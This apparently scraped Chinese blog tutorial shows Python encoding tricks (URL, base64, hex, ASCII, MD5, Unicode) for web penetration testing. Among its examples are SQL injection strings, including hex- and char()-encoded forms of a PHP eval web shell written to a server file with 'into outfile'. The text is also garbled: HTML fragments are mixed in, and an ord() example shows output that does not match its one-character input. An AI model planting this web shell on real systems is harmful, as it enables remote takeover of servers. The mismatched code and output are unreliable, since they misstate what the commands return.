> from urllib import *
> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

> import base64
> base64.b64encode("admin")
'YWRtaW4='
> base64.b64decode('YWRtaW4=')
'admin'

> import base64
> base64.b32encode('jjjjj')
'NJVGU2TK'
> base64.b32decode('NJVGU2TK')
'jjjjj'

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

> '<"htmlcode">

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'


使用python将字符串转换ascii很简单，但是逆转换的话需要需要点小操作：




> map(ord, "<")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

> print chr(112)
p

> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<"color: #ff0000">Md5


md5在web安全界可以说是人尽皆知了，以他的不可逆性，大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密，这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。




> from hashlib import md5
> m = md5()
> m.update('this is a secret')
> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>


Unicode转中文


unicode转换中文，很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题，在python下实现非常简单。




> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆


总结
python实际上在实际使用中非常方便，编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累，如果有没有涉及到的地方，欢迎评论补充。好了，以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对的支持。